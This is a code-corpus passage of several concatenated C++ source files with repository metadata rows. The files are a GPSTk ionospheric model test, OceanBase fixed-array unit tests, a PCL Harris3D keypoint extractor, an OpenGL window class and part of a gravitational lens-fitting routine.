{1.,2.,3.,4.}; double b[4] = {4.,3.,2.,1.}; double c[4] = {1.,2.,3.,4.}; double d[4] = {4.,3.,2.,1.}; double e[4] = {0.,0.,0.,0.}; gpstk::IonoModel Model1(a,b); gpstk::IonoModel Model2(c,d); gpstk::IonoModel Model3(a,e); test1.assert( Model1 == Model2, test_desc + test_fail_equals, __LINE__ ); test1.assert( !(Model1 == Model3), test_desc + test_false_equals, __LINE__ ); return( test1.countFails() ); } //------------------------------------------------------------ // Assert quality of class IonoModel operator != //------------------------------------------------------------ int IonoModel_T :: nonEqualityTest( void ) { TestUtil test2( "IonoModel", "operator !=", __FILE__, __LINE__ ); std::string test_desc = "IonoModel objects are created and compared to test operator != precision"; std::string test_fail_notequal = "These should be [not equal] but they are not [not equal]."; std::string test_false_notequal = "These should NOT be [not equal] but they are [not equal]."; //Create many alpha and beta arrays which define the Ionospheric model double a[4] = {1.,2.,3.,4.}; double b[4] = {4.,3.,2.,1.}; double c[4] = {1.,2.,3.,4.}; double d[4] = {4.,3.,2.,1.}; double e[4] = {0.,0.,0.,0.}; gpstk::IonoModel Model1(a,b); gpstk::IonoModel Model2(c,d); gpstk::IonoModel Model3(a,e); test2.assert( ( Model1 != Model2 )==false, test_desc + test_fail_notequal, __LINE__ ); test2.assert( ( Model1 != Model3 )==true, test_desc + test_false_notequal, __LINE__ ); return( test2.countFails() ); } //------------------------------------------------------------ // Assert quality of class IonoModel method isValid() //------------------------------------------------------------ int IonoModel_T :: validTest( void ) { TestUtil test3( "IonoModel", "isValid", __FILE__, __LINE__ ); std::string test_desc = ""; std::string test_fail = ""; //Instantiate a blank almanac gpstk::EngAlmanac blankAlmanac; //Create an alpha and a beta array which define the Ionospheric model double a[4] = {1.,2.,3.,4.}; double b[4] = {4.,3.,2.,1.}; //--------------------------------- //Test to see if various IonoModel instantiations are valid //--------------------------------- // Construct with no inputs test_desc = "IonoModel object created with no input parameters"; test_fail = "should result in an invalid model but did not"; gpstk::IonoModel model_withNoParam; test3.assert( !model_withNoParam.isValid(), test_desc + test_fail, __LINE__ ); // Construct with multiple inputs test_desc = "IonoModel object created with multiple inputs"; test_fail = "should result in a valid model but did not"; gpstk::IonoModel model_withArray(a,b); test3.assert( model_withArray.isValid(), test_desc + test_fail, __LINE__ ); // Construct with blank Alamanac as input test_desc = "IonoModel object created with a blank EngAlamanac"; test_fail = "should result in an invalid model but did no"; gpstk::IonoModel model_withblankAlmanac( blankAlmanac ); test3.assert( !model_withblankAlmanac.isValid(), test_desc + test_fail, __LINE__ ); return( test3.countFails() ); } //------------------------------------------------------------ // Test class Ionomodel, verify exceptions are thrown as expected //------------------------------------------------------------ // Please note: As of June 29,2006 I have not found a way to get the blankAlmanac // exception to throw the way I wanted it to. I have set it to assert fail so I can // come back at a later date to fix it. //------------------------------------------------------------ int IonoModel_T :: exceptionTest( void ) { TestUtil test4( "IonoModel", "exception", __FILE__, __LINE__ ); std::string test_desc = ""; std::string test_fail = ""; std::string assert_message = ""; //Default constructer for Almanac will give a blank almanac gpstk::EngAlmanac blankAlmanac; //Set DayTime to the current system time gpstk::CommonTime commonTime; //Use the default Geodetic constructer gpstk::Position rxgeo; //Set el and az to 0 for ease of testing double svel = 0; double svaz = 0; //Easy alpha and beta for Ionospheric testing double a[4] = {1.,2.,3.,4.}; double b[4] = {4.,3.,2.,1.}; gpstk::IonoModel Model(blankAlmanac); gpstk::IonoModel goodModel(a,b); //---------------------------------------- // getIon() exception handling test //---------------------------------------- try { blankAlmanac.getIon(a,b); assert_message = "blankAlmanac.getIon(), This test should have thrown an InvalidRequest exception"; test4.assert( false, assert_message, __LINE__ ); } catch( gpstk::InvalidRequest& exception_invalid ) { assert_message = "blankAlmanac.getIon(), This test threw an InvalidRequest exception as expected"; test4.assert( true, assert_message , __LINE__ ); } catch(...) { assert_message = "blankAlmanac.getIon(), This test should have thrown an InvalidRequest but threw a different type of exception"; test4.assert( false, assert_message , __LINE__ ); } // //---------------------------------------- // // What the hell is this? Commenting it out until someone else figures it out. // //---------------------------------------- // // try // { // //Questioning why this isnt failing auto fail for now // CPPUNIT_ASSERT_ASSERTION_FAIL( CPPUNIT_ASSERT_THROW(gpstk::IonoModel Model(blankAlmanac), gpstk::Exception) ); // } // catch( gpstk::Exception& e ) // { // // } //---------------------------------------- try { Model.getCorrection( commonTime, rxgeo,svel, svaz, Model.L1 ); assert_message = "getCorrection(), This test should have thrown an InvalidIonoModel exception"; test4.assert( false, assert_message, __LINE__ ); } catch( gpstk::IonoModel::InvalidIonoModel& exception_invalid ) { assert_message = "getCorrection(), This test threw an InvalidIonoModel exception as expected"; test4.assert( true, assert_message, __LINE__ ); } catch(...) { assert_message = "getCorrection(), This test should have thrown an InvalidRequest but threw a different type of exception"; test4.assert( false, assert_message, __LINE__ ); } //---------------------------------------- try { goodModel.getCorrection( commonTime, rxgeo, svel, svaz, Model.L1 ); assert_message = "getCorrection( L1 ), This test should NOT throw an exception"; test4.assert( true, assert_message, __LINE__ ); } catch(gpstk::Exception& e) { assert_message = "getCorrection( L1 ), This test should NOT have thrown any exceptions but threw gpstk::Exception"; test4.assert( false, assert_message, __LINE__ ); } catch(...) { assert_message = "getCorrection( L1 ), This test should NOT have thrown any exceptions but threw one anyway"; test4.assert( false, assert_message, __LINE__ ); } //---------------------------------------- try { goodModel.getCorrection( commonTime, rxgeo, svel, svaz, Model.L2 ); assert_message = "getCorrection( L2 ), This test should NOT throw an exception"; test4.assert( true, assert_message, __LINE__ ); } catch( gpstk::Exception& e ) { assert_message = "getCorrection( L2 ), This test should NOT have thrown any exceptions but threw gpstk::Exception"; test4.assert( false, assert_message, __LINE__ ); } catch(...) { assert_message = "getCorrection( L2 ), This test should NOT have thrown any exceptions but threw one anyway"; test4.assert( false, assert_message, __LINE__ ); } //---------------------------------------- try { goodModel.getCorrection(commonTime,rxgeo,72.,45.,Model.L1); assert_message = "getCorrection( commonTime,rxgeo,72.,45.,Model.L1 ), This test should NOT throw an exception"; test4.assert( true, assert_message, __LINE__ ); } catch( gpstk::Exception& e ) { assert_message = "getCorrection( commonTime,rxgeo,72.,45.,Model.L1 ), This test should NOT have thrown any exceptions but threw gpstk::Exception"; test4.assert( false, assert_message, __LINE__ ); } catch(...) { assert_message = "getCorrection( commonTime,rxgeo,72.,45.,Model.L1 ), This test should NOT have thrown any exceptions but threw one anyway"; test4.assert( false, assert_message, __LINE__ ); } return( test4.countFails() ); } //------------------------------------------------------------ // main() //------------------------------------------------------------ int main( void ) { int check, errorCounter = 0; IonoModel_T testClass; check = testClass.equalityTest(); errorCounter += check; check = testClass.nonEqualityTest(); errorCounter += check; check = testClass.validTest(); errorCounter += check; check = testClass.exceptionTest(); errorCounter += check; std::cout << "Total Failures for " << __FILE__ << ": " << errorCounter << std::endl; return( errorCounter ); }
36.650456
154
0.583015
[ "object", "model" ]
0126b432b770e620f0512fcfc8deb1ca30ebc08d
6,961
cpp
C++
code_reading/oceanbase-master/deps/oblib/unittest/lib/test_fixed_array.cpp
wangcy6/weekly_read
3a8837ee9cd957787ee1785e4066dd623e02e13a
[ "Apache-2.0" ]
null
null
null
code_reading/oceanbase-master/deps/oblib/unittest/lib/test_fixed_array.cpp
wangcy6/weekly_read
3a8837ee9cd957787ee1785e4066dd623e02e13a
[ "Apache-2.0" ]
null
null
null
code_reading/oceanbase-master/deps/oblib/unittest/lib/test_fixed_array.cpp
wangcy6/weekly_read
3a8837ee9cd957787ee1785e4066dd623e02e13a
[ "Apache-2.0" ]
1
2020-10-18T12:59:31.000Z
2020-10-18T12:59:31.000Z
/** * Copyright (c) 2021 OceanBase * OceanBase CE is licensed under Mulan PubL v2. * You can use this software according to the terms and conditions of the Mulan PubL v2. * You may obtain a copy of Mulan PubL v2 at: * http://license.coscl.org.cn/MulanPubL-2.0 * THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, * EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, * MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE. * See the Mulan PubL v2 for more details. */ #include <gtest/gtest.h> #include "lib/container/ob_array.h" #include "lib/container/ob_array_serialization.h" #include "lib/container/ob_fixed_array.h" #include "lib/allocator/page_arena.h" #include "common/object/ob_object.h" #include "lib/container/ob_se_array.h" namespace oceanbase { namespace common { class ObTestFiexedArray : public ::testing::Test { public: ObTestFiexedArray() {} ~ObTestFiexedArray() {} virtual void SetUp() {} virtual void TearDown() {} private: DISALLOW_COPY_AND_ASSIGN(ObTestFiexedArray); }; class Testfun { public: Testfun(ObIArray<int>& array) { UNUSED(array); } ~Testfun() {} private: common::ObSEArray<int, 5> data_; }; TEST(ObTestFiexedArray, push_back) { // do init only once int64_t capacity = 100; ObMalloc alloc; ObFixedArray<ObObj, ObMalloc> obj_array2(alloc, capacity); ObObj tmp2; EXPECT_EQ(OB_SUCCESS, obj_array2.push_back(tmp2)); EXPECT_EQ(OB_SIZE_OVERFLOW, obj_array2.reserve(200)); EXPECT_EQ(OB_SUCCESS, obj_array2.push_back(tmp2)); EXPECT_EQ(OB_SIZE_OVERFLOW, obj_array2.reserve(200)); EXPECT_EQ(2, obj_array2.count()); ObFixedArray<ObObj> obj_array(alloc); const int64_t N = 3000; ObObj tmp; ObArray<int> tmp_array; Testfun testfun(tmp_array); EXPECT_EQ(OB_NOT_INIT, obj_array.push_back(tmp)); EXPECT_EQ(OB_SUCCESS, obj_array.reserve(N)); EXPECT_EQ(OB_SUCCESS, obj_array.reserve(300)); EXPECT_EQ(OB_SIZE_OVERFLOW, obj_array.reserve(N + N)); for (int64_t i = 0; i < N / 2; i++) { tmp.set_int(i); EXPECT_EQ(OB_SUCCESS, obj_array.push_back(tmp)); } tmp.set_int(N / 2); EXPECT_EQ(OB_SUCCESS, obj_array.push_back(tmp)); for (int64_t i = 0; i <= N / 2; i++) { ObObj result; EXPECT_EQ(OB_SUCCESS, obj_array.pop_back(result)); EXPECT_EQ(N / 2 - i, result.get_int()); } EXPECT_EQ(OB_ENTRY_NOT_EXIST, obj_array.pop_back(tmp)); EXPECT_EQ(OB_SUCCESS, obj_array.prepare_allocate(N / 4)); obj_array.at(N / 4 - 3).set_int(100); EXPECT_EQ(obj_array.at(N / 4 - 3).get_int(), 100); // obj_array.at(N/4 + 3).set_int(100); // EXPECT_EQ(obj_array.at(N/4 + 3).get_int(), 100); EXPECT_EQ(OB_SUCCESS, obj_array.prepare_allocate(N / 2 + 100)); ObObj null_obj; obj_array.at(1504).set_int(100); EXPECT_EQ(obj_array.at(N / 2 + 4).get_int(), 100); EXPECT_EQ(OB_ARRAY_OUT_OF_RANGE, obj_array.at(N / 2 + 120, tmp)); EXPECT_EQ(OB_SUCCESS, obj_array.prepare_allocate(N / 2 + 200)); EXPECT_EQ(OB_SUCCESS, obj_array.at(N / 2 + 120, tmp)); EXPECT_EQ(null_obj, tmp); } TEST(ObTestFiexedArray, destory) { PageArena<ObObj> allocator; ObFixedArray<ObObj, PageArena<ObObj> > obj_array(allocator); const int64_t N = 3000; ObObj tmp; EXPECT_EQ(OB_NOT_INIT, obj_array.push_back(tmp)); obj_array.reserve(N); for (int64_t i = 0; i < N; i++) { tmp.set_int(i); EXPECT_EQ(OB_SUCCESS, obj_array.push_back(tmp)); } EXPECT_EQ(OB_SIZE_OVERFLOW, obj_array.push_back(tmp)); EXPECT_EQ(N * sizeof(ObObj), allocator.used()); obj_array.destroy(); EXPECT_EQ(N * sizeof(ObObj), allocator.used()); allocator.free(); EXPECT_EQ(0, allocator.used()); EXPECT_EQ(0, allocator.total()); } TEST(ObTestFiexedArray, serialize) { PageArena<ObObj> allocator; ObFixedArray<ObObj, PageArena<ObObj> > obj_array(allocator); const int64_t N = 100; ObObj tmp; obj_array.reserve(N); for (int64_t i = 0; i < N; i++) { tmp.set_int(i); EXPECT_EQ(OB_SUCCESS, obj_array.push_back(tmp)); } char buf[1024]; int64_t pos = 0; EXPECT_EQ(OB_SUCCESS, obj_array.serialize(buf, 1024, pos)); ObFixedArray<ObObj, PageArena<ObObj> > obj_array_to(allocator); EXPECT_EQ(pos, obj_array.get_serialize_size()); pos = 0; EXPECT_EQ(OB_SUCCESS, obj_array_to.deserialize(buf, 1024, pos)); for (int64_t i = 0; i < obj_array_to.count(); i++) { EXPECT_EQ(OB_SUCCESS, obj_array_to.at(i, tmp)); EXPECT_EQ(tmp.get_int(), i); } } TEST(ObTestFiexedArray, serialize2) { PageArena<ObObj> allocator; ObFixedArray<ObObj, PageArena<ObObj> > obj_array(allocator); const int64_t N = 100; ObObj tmp; obj_array.reserve(N); for (int64_t i = 0; i < N; i++) { tmp.set_int(i); EXPECT_EQ(OB_SUCCESS, obj_array.push_back(tmp)); } char buf[1024]; int64_t pos = 0; EXPECT_EQ(OB_SUCCESS, obj_array.serialize(buf, 1024, pos)); ObSArray<ObObj> obj_array_to; EXPECT_EQ(pos, obj_array.get_serialize_size()); pos = 0; EXPECT_EQ(OB_SUCCESS, obj_array_to.deserialize(buf, 1024, pos)); for (int64_t i = 0; i < obj_array_to.count(); i++) { EXPECT_EQ(OB_SUCCESS, obj_array_to.at(i, tmp)); EXPECT_EQ(tmp.get_int(), i); } } TEST(ObTestFiexedArray, serialize3) { PageArena<ObObj> allocator; ObSArray<ObObj> obj_array; const int64_t N = 100; ObObj tmp; obj_array.reserve(N); for (int64_t i = 0; i < N; i++) { tmp.set_int(i); EXPECT_EQ(OB_SUCCESS, obj_array.push_back(tmp)); } char buf[1024]; int64_t pos = 0; EXPECT_EQ(OB_SUCCESS, obj_array.serialize(buf, 1024, pos)); ObFixedArray<ObObj, PageArena<ObObj> > obj_array_to(allocator); EXPECT_EQ(pos, obj_array.get_serialize_size()); pos = 0; EXPECT_EQ(OB_SUCCESS, obj_array_to.deserialize(buf, 1024, pos)); for (int64_t i = 0; i < obj_array_to.count(); i++) { EXPECT_EQ(OB_SUCCESS, obj_array_to.at(i, tmp)); EXPECT_EQ(tmp.get_int(), i); } } TEST(ObTestFiexedArray, other) { ObArray<int> tmp_array; Testfun testfun(tmp_array); OB_LOG(WARN, "return size", K(sizeof(testfun)), K(sizeof(Testfun))); common::ObObj test; test.set_int(4); common::ObObj& ref = test; common::ObObj* ptr = &ref; OB_LOG(WARN, "print referenct", K(&test), K(&ref), K(*ptr)); } TEST(ObTestFiexedArray, assign) { ObMalloc alloc; ObFixedArray<int, ObMalloc> fa1; ObFixedArray<int, ObMalloc> fa2(alloc); ObArray<int> a1; ASSERT_EQ(OB_SUCCESS, fa2.init(1)); ASSERT_EQ(OB_SUCCESS, fa2.push_back(1)); ASSERT_EQ(OB_SUCCESS, a1.push_back(2)); ASSERT_NE(OB_SUCCESS, fa1.assign(a1)); ASSERT_EQ(OB_SUCCESS, fa1.assign(fa2)); ASSERT_EQ(1, fa1.at(0)); ASSERT_EQ(OB_SUCCESS, fa1.assign(a1)); ASSERT_EQ(2, fa1.at(0)); fa1 = fa2; ASSERT_EQ(OB_SUCCESS, fa1.get_copy_assign_ret()); ASSERT_EQ(1, fa1.at(0)); } } // namespace common } // namespace oceanbase int main(int argc, char** argv) { OB_LOGGER.set_log_level("INFO"); OB_LOGGER.set_file_name("test_fixed_array.log", true); testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
29.875536
88
0.699181
[ "object" ]
012bc64d63168462cd728e3075a25f7056e6ce2c
1,365
cpp
C++
modules/keypoints/src/harris3d_keypoint_extractor.cpp
ToMadoRe/v4r
7cb817e05cb9d99cb2f68db009c27d7144d07f09
[ "MIT" ]
17
2015-11-16T14:21:10.000Z
2020-11-09T02:57:33.000Z
modules/keypoints/src/harris3d_keypoint_extractor.cpp
ToMadoRe/v4r
7cb817e05cb9d99cb2f68db009c27d7144d07f09
[ "MIT" ]
35
2015-07-27T15:04:43.000Z
2019-08-22T10:52:35.000Z
modules/keypoints/src/harris3d_keypoint_extractor.cpp
ToMadoRe/v4r
7cb817e05cb9d99cb2f68db009c27d7144d07f09
[ "MIT" ]
18
2015-08-06T09:26:27.000Z
2020-09-03T01:31:00.000Z
#include <v4r/keypoints/harris3d_keypoint_extractor.h> #include <pcl/keypoints/harris_3d.h> namespace v4r { template<typename PointT> void Harris3DKeypointExtractor<PointT>::compute () { #if PCL_VERSION >= 100702 typename pcl::search::OrganizedNeighbor<PointT>::Ptr search_method (new pcl::search::OrganizedNeighbor<PointT> ()); pcl::HarrisKeypoint3D <PointT, pcl::PointXYZI> detector; detector.setNonMaxSupression (true); detector.setRadiusSearch(param_.search_radius_); detector.setThreshold (param_.threshold_); detector.setRefine(param_.refine_); detector.setSearchMethod(search_method); detector.setNormals(normals_); detector.setInputCloud (input_); pcl::PointCloud<pcl::PointXYZI>::Ptr keypoint_idx (new pcl::PointCloud<pcl::PointXYZI>); detector.compute (*keypoint_idx); pcl::PointIndicesConstPtr keypoints_indices = detector.getKeypointsIndices (); keypoint_indices_.resize( keypoints_indices->indices.size() ); for(size_t i=0; i < keypoints_indices->indices.size(); i++) keypoint_indices_[i] = keypoints_indices->indices[i]; #else std::cerr << "HARRIS 3D is not available with keypointindices for this PCL version!" << std::endl; #endif } template class V4R_EXPORTS Harris3DKeypointExtractor<pcl::PointXYZ>; template class V4R_EXPORTS Harris3DKeypointExtractor<pcl::PointXYZRGB>; }
36.891892
119
0.759707
[ "3d" ]
012cd1d9316e14f736c8f2a8bad185e268614f30
2,208
cpp
C++
src/ui/gl_window.cpp
amidukr/cpp-bridge-v5
e20d924eda75a141703beb441e105463bffa7986
[ "Apache-2.0" ]
1
2020-04-14T02:40:56.000Z
2020-04-14T02:40:56.000Z
src/ui/gl_window.cpp
amidukr/cpp-bridge-v5
e20d924eda75a141703beb441e105463bffa7986
[ "Apache-2.0" ]
2
2019-05-26T03:45:34.000Z
2019-08-07T01:12:33.000Z
src/ui/gl_window.cpp
amidukr/cpp-bridge-v5
e20d924eda75a141703beb441e105463bffa7986
[ "Apache-2.0" ]
null
null
null
#include <stdio.h> #include <GL/glew.h> #include <GLFW/glfw3.h> #include "model/global_vars.h" #include "ui/gl_window.h" GLWindow::GLWindow() { } GLWindow::~GLWindow() { close(); } bool GLWindow::create() { if (this->window) { return this->active; } if(!GlobalVars::get_headless_mode_flag()) { glfwWindowHint(GLFW_SAMPLES, 4); // 4x antialiasing // Open a window and create its OpenGL context this->window = glfwCreateWindow(this->size[0], this->size[1], this->title.c_str(), NULL, NULL); glfwSetWindowPos(this->window, this->position[0], this->position[1]); if (this->window == NULL) { fprintf(stderr, "Failed to open GLFW window. If you have an Intel GPU, they are not 3.3 compatible. Try the 2.1 version of the tutorials.\n"); return false; } glfwMakeContextCurrent(this->window); }else{ printf("mocking\n"); this->window = (GLFWwindow*)-1; } this->init(); this->active = true; return true; } bool GLWindow::update() { if (!this->active) return false; if(!GlobalVars::get_headless_mode_flag()) { glfwMakeContextCurrent(this->window); // Initialize GLEW // Ensure we can capture the escape key being pressed below glfwSetInputMode(this->window, GLFW_STICKY_KEYS, GL_TRUE); } this->draw(); if(!GlobalVars::get_headless_mode_flag()) { glfwSwapBuffers(this->window); glfwPollEvents(); return glfwGetKey(this->window, GLFW_KEY_ESCAPE) != GLFW_PRESS && glfwWindowShouldClose(this->window) == 0; } return true; } bool GLWindow::close() { if (!this->window) { return false; } if (!this->active) { return true; } this->active = false; if(this->window != (GLFWwindow*)-1) { glfwDestroyWindow(this->window); } return true; } bool GLWindow::is_active() { return this->active; } void GLWindow::set_position(std::array<int, 2> position) { this->position = position; } std::array<int, 2> GLWindow::get_position() { return this->position; } void GLWindow::set_size(std::array<int, 2> size) { this->size = size; } std::array<int, 2> GLWindow::get_size() { return this->size; } void GLWindow::set_title(std::string title) { this->title = title; } const std::string& GLWindow::get_title() { return this->title; }
19.368421
145
0.678895
[ "model" ]
01312f1fd8e00bb37ebffaa3fccb83ab3f027b65
45,920
cpp
C++
Fitlens/fitlens.cpp
glenco/SLsimLib
fb7a3c450d2487a823fa3f0ae8c8ecf7945c3ebb
[ "MIT" ]
2
2017-03-22T13:18:32.000Z
2021-05-01T01:54:31.000Z
Fitlens/fitlens.cpp
glenco/SLsimLib
fb7a3c450d2487a823fa3f0ae8c8ecf7945c3ebb
[ "MIT" ]
49
2016-10-05T03:08:38.000Z
2020-11-03T15:39:26.000Z
Fitlens/fitlens.cpp
glenco/SLsimLib
fb7a3c450d2487a823fa3f0ae8c8ecf7945c3ebb
[ "MIT" ]
1
2017-07-10T08:52:53.000Z
2017-07-10T08:52:53.000Z
#include "slsimlib.h" #include <nrutil.h> #include <iomanip> // std::setprecision using namespace std; static double betaT,*modT,**xobT,**dx_subT,sigGT,*modTT,*modoT,**vT,x_centerT[2],**xgT,**dx_subTt; static int NmodT,NsourcesT,NimagesT,*pairingT,degenT,Nmin; static double oldsm;//,tang[2],length,yot[2],radsourceT; /** * * \brief Wrapper that allows simple lens to be found with a single * lens with a single source and translates result into data structures used in the other code. * * The lens is centered on [0,0] source position in lens is updated along with all the modes. * */ void LensHaloFit::FindLensSimple( int Nimages /// Number of images to be fit ,Point *image_positions /// Array of points with point[i].x set to the image positions ,double *y /// output source position ,double **dx_sub /// dx_sub[Nimages][2] pre-calculated deflections caused by substructures or external masses at each image ){ ImageInfo* imageinfo = new ImageInfo[Nimages]; for(int i=0;i<Nimages;++i){ imageinfo[i].centroid[0] = image_positions[i].x[0]; imageinfo[i].centroid[1] = image_positions[i].x[1]; } FindLensSimple(imageinfo,Nimages,y,dx_sub); std::cout << "perturbation modes (in LensHaloFit::FindLensSimple)" << std::endl; for(int i=0;i<perturb_Nmodes;++i) std::cout << perturb_modes[i] << " " ; std::cout << std::endl; delete[] imageinfo; } /** * * \brief Same as FindLensSimple but with some tests in it. * * */ bool LensHaloFit::SafeFindLensSimple( int Nimages /// Number of images to be fit ,Point *image_positions /// Array of points with point[i].x set to the image positions ,double *y /// output source position ,double **dx_sub /// dx_sub[Nimages][2] pre-calculated deflections caused by substructures or external masses at each image ,int SafetyNum /// integer of the number of time you want to check the modes ,PosType PixelSizeRad /// Pixel size in radians used for the maps ,std::vector<std::vector<PosType>> & PrecisionBackTracedPos /// Table that will receive the back-traced images uncertainty (in units of PixelSizeRad). ,std::vector<std::vector<PosType>> & alphaTab /// Table that will receive the deviation angle in radians ,bool verbose /// verbose mode switch ){ // Array to store the modes over the different calls of FindLensSimple : PosType ModesMin [perturb_Nmodes] ; // Minimal value for the modes (among all calls) PosType ModesMax [perturb_Nmodes] ; // Maximal value for the modes (among all calls) PosType ModesAve [perturb_Nmodes] ; // Average value for the modes (among all calls) const double ToleranceModes = 0.01 ; // Tolerance on the ratio (Max-Min)/Average for the modes // way 1 : // const double ToleranceSourcePos = 0.1 ; // Tolerance on the ratio (y-x)/alpha on the source position reconstruction // way 2 : const double ToleranceSourcePos = 1. ; // Tolerance on the difference y-x+alpha , with respect to the pixel size, on the source position reconstruction bool ReturnCode = true ; // Boolean that returns whether or not the Fit was a success. // Doing the proper initialisation of these quantities : for(int k=0;k<perturb_Nmodes;++k) { ModesMin[k] = 1.e200 ; // So the modes have to be less than that ! ModesMax[k] = -1.e200 ; // So the modes have to be more than that ! ModesAve[k] = 0. ; } // We compute the modes SafetyNum times and retain the min, the max, and the sum : // =============================================================================== // We call FindLensSimple many times : for(int i=0;i<SafetyNum;i++) { // Calling FindLensSimple (the one that really computes the modes) : //////////////////////////////////////////////// FindLensSimple(Nimages,image_positions,y,dx_sub); //////////////////////////////////////////////// // Test that no 'nan' occurs : for(int k=0;k<perturb_Nmodes;++k) { assert(perturb_modes[k] == perturb_modes[k]) ; } // Filling the check tables : for(int k=0;k<perturb_Nmodes;++k) { if(perturb_modes[k]<ModesMin[k]) ModesMin[k] = perturb_modes[k]; if(perturb_modes[k]>ModesMax[k]) ModesMax[k] = perturb_modes[k]; ModesAve[k] += perturb_modes[k]; // Summing the modes } } // Dividing by the number of values to get the average : for(int k=0;k<perturb_Nmodes;++k) ModesAve[k] /= perturb_Nmodes ; // We check that the modes are not > 1e50 (which is clearly wrong) : PosType UpperBoundForModes = 1.e50 ; for(int k=0;k<perturb_Nmodes;++k) { if(abs(ModesAve[k])>UpperBoundForModes) { std::cout << "Mode k = " << k << " : Av = " << abs(ModesAve[k]) << " > " << UpperBoundForModes << std::endl ; ReturnCode = false ; } } if(ReturnCode == false) { ERROR_MESSAGE(); std::cout << "Error of unstability in SafeFindLensSimple !" << std::endl ; // exit(0); } // We compare the min and max values with the average : if(ReturnCode == true) { for(int k=0;k<perturb_Nmodes;++k) { if(abs(ModesMax[k]-ModesMin[k]) > abs(ToleranceModes*ModesAve[k])) { std::cout << "Mode k = " << k << " : Max-Min = " << abs(ModesMax[k]-ModesMin[k]) << " < " << "Tol * Av = " << abs(ToleranceModes*ModesAve[k]) << std::endl ; ReturnCode = false ; } } if(ReturnCode == false) { ERROR_MESSAGE(); std::cout << "Error of unstability in SafeFindLensSimple !" << std::endl ; // exit(0); } } // If the modes are crazy then we return the false value here : if(ReturnCode == false) { std::cout << "Not doing the check of the back-traced images because of the unstability in SafeFindLensSimple !" << std::endl ; return ReturnCode ; } // Printing values otherwise : if(verbose) { std::cout << "Values of the modes :" << std::endl ; std::cout << "Ave : " ; for(int k=0;k<perturb_Nmodes;++k) std::cout << std::setprecision(7) << perturb_modes[k] << " " ; std::cout << std::endl << "Min : " ; for(int k=0;k<perturb_Nmodes;++k) std::cout << std::setprecision(7) << ModesMin[k] << " " ; std::cout << std::endl << "Max : " ; for(int k=0;k<perturb_Nmodes;++k) std::cout << std::setprecision(7) << ModesMax[k] << " " ; std::cout << std::endl ; std::cout << std::endl << "Estimation made with " << SafetyNum << " calls of FindLensSimple, with a tolerance of " << ToleranceModes*100. << " % on the modes." << std::endl; // Caption : // q[1] : ellipticity of nearest elliptical lens // q[2] : position angle of nearest elliptical lens // if sigG > 0 : // q[3,4] : center of lens, copied to x_center cout << "Ellipticity : " << qpriv[1] << " , position angle : " << qpriv[2] << std::endl ; if (sigGT > 0) cout << "Center of the lens : " << qpriv[3] << " , " << qpriv[4] << std::endl ; } // Testing that the image positions are consistent when traced back to the source plane : // ====================================================================================== std::cout << std::endl << "Evaluated position of the source from each image :" << std::endl ; // alpha that we are going to use after to get the source position form the back-traced image position : PosType * alphaTMP = new PosType [2]; alphaTMP[0] = 0. ; alphaTMP[1] = 0. ; // Quantities not used for the moment : double betaTMP = perturb_beta ; KappaType * gammaTMP = new KappaType [3]; KappaType * phiTMP = new KappaType ; KappaType kappaTMP; gammaTMP[0] = 0. ; gammaTMP[1] = 0. ; gammaTMP[2] = 0. ; *phiTMP = 0. ; kappaTMP = 0. ; // Ratios for (y-x)/alpha : PosType ratioSourcePos [2] ; ratioSourcePos[0] = ratioSourcePos[1] = 0. ; // Displaying the back-traced positions : for(int i=0;i<Nimages;++i) { Point pointTMP ; pointTMP.x[0] = image_positions[i].x[0] * Dl ; pointTMP.x[1] = image_positions[i].x[1] * Dl ; kappaTMP = lens_expand(betaTMP, perturb_modes, perturb_Nmodes, pointTMP.x, alphaTMP, gammaTMP, phiTMP); // We removed the -1 after perturb_Nmodes AS IT SHOULD NOT BE THERE but it is still used this way in LensHaloBaseNSIE::force_halo ! // Applying the factors of LensHaloBaseNSIE::force_halo : alphaTMP[0] *= -1. ; alphaTMP[1] *= -1. ; // Applying the extra factors of RayShooter : alphaTMP[0] *= -4*PI*Grav ; alphaTMP[1] *= -4*PI*Grav ; alphaTMP[0] *= Dls / Ds ; alphaTMP[1] *= Dls / Ds ; // Saving alpha in the argument : alphaTab[i][0] = alphaTMP[0]; alphaTab[i][1] = alphaTMP[1]; // Computing ratios : ratioSourcePos[0] = abs(alphaTMP[0]) / abs(y[0] - image_positions[i].x[0]) ; ratioSourcePos[1] = abs(alphaTMP[1]) / abs(y[1] - image_positions[i].x[1]) ; // Displaying the values : if(verbose) { std::cout << "Image : " << image_positions[i].x[0] << " " << image_positions[i].x[1] << std::endl ; std::cout << "y - x : " << y[0] - image_positions[i].x[0] << " " << y[1] - image_positions[i].x[1] << std::endl ; std::cout << "alpha : " << alphaTMP[0] << " " << alphaTMP[1] << std::endl ; std::cout << "ratios : " << ratioSourcePos[0] << " " << ratioSourcePos[1] << std::endl ; } // Saving the relative precision of the back-traced images in the source plane (in units of pixels of the map) : PrecisionBackTracedPos[i][0] = abs(y[0] - image_positions[i].x[0] + alphaTMP[0]) / PixelSizeRad ; PrecisionBackTracedPos[i][1] = abs(y[1] - image_positions[i].x[1] + alphaTMP[1]) / PixelSizeRad ; // Deciding if the test is sufficient to keep on with the rest : if(verbose) { std::cout << "(y-x+alpha)/pixelsize : " << PrecisionBackTracedPos[i][0] << " , " << PrecisionBackTracedPos[i][1] << " pixels." << std::endl ; std::cout << "! y = x - alpha : " << image_positions[i].x[0] - alphaTMP[0] << " , " << image_positions[i].x[1] - alphaTMP[1] << " !" << std::endl << std::endl ; } for(int k=0;k<2;k++) { // In the case where we are above the tolerance on the source position & the real source position is not too close to (0,0) : // way 1 : // if( abs(ratioSourcePos[k]-1) > ToleranceSourcePos && abs(y[k] - image_positions[i].x[k]) > 1.e-15 ) // assuming positions to be in radians. // way 2 : if( abs(y[k] - image_positions[i].x[k] + alphaTMP[k]) > PixelSizeRad * ToleranceSourcePos && abs(y[k] - image_positions[i].x[k]) > 1.e-15 ) // assuming positions to be in radians. { ERROR_MESSAGE(); std::cout << "Error of precision in source-position reconstruction in SafeFindLensSimple !" << std::endl ; ReturnCode = false ; // exit(0); } // Else we can continue ! } if(!verbose) std::cout << "Back-traced source position : " << image_positions[i].x[0] - alphaTMP[0] << " " << image_positions[i].x[1] - alphaTMP[1] << std::endl << std::endl ; } // OTHER TESTS ? 